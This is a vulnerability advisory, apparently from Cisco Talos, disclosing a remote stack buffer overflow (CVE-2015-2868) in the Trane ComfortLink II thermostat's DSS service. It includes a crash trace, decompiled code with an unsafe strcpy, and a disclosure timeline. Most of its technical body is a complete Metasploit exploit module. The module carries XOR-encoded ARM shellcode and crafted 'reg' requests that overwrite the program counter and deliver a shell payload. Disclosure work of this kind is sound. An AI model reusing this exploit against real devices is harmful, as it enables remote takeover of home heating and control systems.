CVE-2015-2868
An exploitable remote code execution vulnerability exists in the Trane ComfortLink II DSS service. An attacker who can connect to the DSS service on the Trane ComfortLink II device can send an overly long REG request that can overflow a fixed size stack buffer, resulting in arbitrary code execution.
Trane ComfortLink II - firmware version 2.0.2
http://www.trane.com/residential/products/thermostats-and-controls/comfortlink%E2%84%A2%20ii-thermostats-and-controls
The crash below is in the reg command parsing functionality of the DSS service:
# Crash 2
# data = "A"*200
# s.write("reg 1#{data}1234\r\n")
# Program received signal SIGSEGV, Segmentation fault.
# 0x41414140 in ?? ()
# (gdb) bt
# 0 0x41414140 in ?? ()
# 1 0x00008f2c in iHer_discRegPutEntry ()
# 2 0x41414140 in ?? ()
# 3 0x41414140 in ?? ()
Below is a decompiled representation of the iHer_discRegPutEntry function:
int __fastcall iHer_discRegPutEntry(int a1, int a2, const char *a3, int a4)
{
int v4; // r6@1
int v5; // r7@1
const char *v6; // r8@1
int v7; // r10@1
int v8; // r0@1
int v9; // r5@1
int *v10; // r4@2
v4 = a1;
v5 = a2;
v6 = a3;
v7 = a4;
v8 = iHer_discRegGetFirstEmptyEntry();
v9 = v8;
if ( v8 != -1 )
{
v10 = &herDiscRegServiceRegistry[11 * v8];
*v10 = 0;
v10[1] = v4;
v10[2] = v5;
strcpy((char *)v10 + 12, v6);
v10[10] = v7;
}
return v9;
}
We can see there is useage of an unsafe call to strcpy that does not verify the sizes of the source and destination buffer. An overly long user input results in a buffer overflow on the stack.
The following Metasploit module will demonstrate remote code execution due to the vulnerability:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Trane DSS Service Buffer Overflow',
'Description' => %q{
Shell, yay!
},
'Author' =>
[
'hal',
'kmx'
],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'DisableNops' => false,
},
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Universal', { 'Ret' => 0x00011d3c } ]
],
))
register_options([Opt::RPORT(9035)], self.class)
end
def exploit
lop = [
0xeafffffe
].pack('V')
xor = [
0xe28f7018, # add r7, pc, #24
0xe3a06078, # mov r6, #120 ; 0x78
0xe3a04088, # mov r4, #136 ; 0x88
0xe7d73006, # ldrb r3, [r7, r6]
0xe0233004, # eor r3, r3, r4
0xe7c73006, # strb r3, [r7, r6]
0xe2566001, # subs r6, r6, #1
0x5afffffa # bpl c <.text+0xc>
].pack('V*')
loader = [
0xe3a07001, # mov r7, #1
0xe1a07407, # lsl r7, r7, #8
0xe287701d, # add r7, r7, #29
0xe1a0100d, # mov r1, sp
0xe3a02080, # mov r2, #128 ; 0x80
0xe92d0004, # push {r2}
0xe1a0200d, # mov r2, sp
0xe3a03080, # mov r3, #128 ; 0x80
0xe3a04005, # mov r4, #5
0xe3a0c000, # mov ip, #0
0xe59f0074, # ldr r0, [pc, #116] ; a4 <.text+0xa4>
0xef000000, # svc 0x00000000
0xe3500000, # cmp r0, #0
0x4afffffb, # bmi 28 <.text+0x28>
0xe1a06000, # mov r6, r0
0xe3a07001, # mov r7, #1
0xe1a07407, # lsl r7, r7, #8
0xe2877023, # add r7, r7, #35 ; 0x23
0xe1a0100a, # mov r1, sl
0xe3a02b01, # mov r2, #1024 ; 0x400
0xe3a03000, # mov r3, #0
0xe1a00006, # mov r0, r6
0xef000000, # svc 0x00000000
0xe3500000, # cmp r0, #0
0x4afffffc, # bmi 58 <.text+0x58>
0xe12fff3a, # blx sl
0xe12fff3a, # blx sl
0xe12fff3a, # blx sl
0xe12fff3a, # blx sl
0xe12fff3a, # blx sl
].pack('V*')
# XOR encode the loader with a static key
encoded = ""
loader.each_byte do |byte|
encoded << (byte ^ 0x88).chr
end
print_status("Trying target #{target.name}...")
connect
# First call sets up the shellcode
data = "\xff" * 52 + xor + lop + encoded + "\xff\xff\xff\xff"
sock.put("reg #{data}\n")
# Second call overwrites PC
data = "\xff" * 45
data << [target.ret].pack('V')
sock.put("reg 1 #{data} 1234\n")
print_status("Loader sent. Sleeping 2 seconds")
select(nil,nil,nil,2)
disconnect
print_status("Sending primary payload")
connect
sock.put(payload.encoded)
handler
disconnect
end
end
2014-04-09 - Initial contact with Trane is established. Advisories delivered.
2014-06-03 - Second attempt to contact Trane for follow up. No response received.
2014-08-15 - Third attempt to made to contact Trane for follow up. No response received.
2014-09-30 - Fourth attempt to contact Trane is made. Advisories re-sent. No further correspondence.
2015-05-26 - CERT/CC notified. CERT attempts to establish contact with Trane, but receives no response.
2015-07-13 - Fifth and final attempt to contact Trane is made. Communication is reestablished. Advisories re-sent.
2015-08-19 - Talos follows up with Trane. No patch available.
2015-09-30 - Talos follows up with Trane again. No patch available.
2015-10-19 - Talos follows up with Trane again. No patch available.
2016-01-26 - Talos follows up with Trane again. Trane informs Talos that firmware version 4.0.3 is being released that week which addresses TALOS-2015-028.
2016-01-27 - Trane makes firmware version 4.0.3 available to the public.
2016-02-08 - Talos and CERT/CC disclose these vulnerabilities.
Discovered by Matt Watchinski and Christopher McBee of Cisco Talos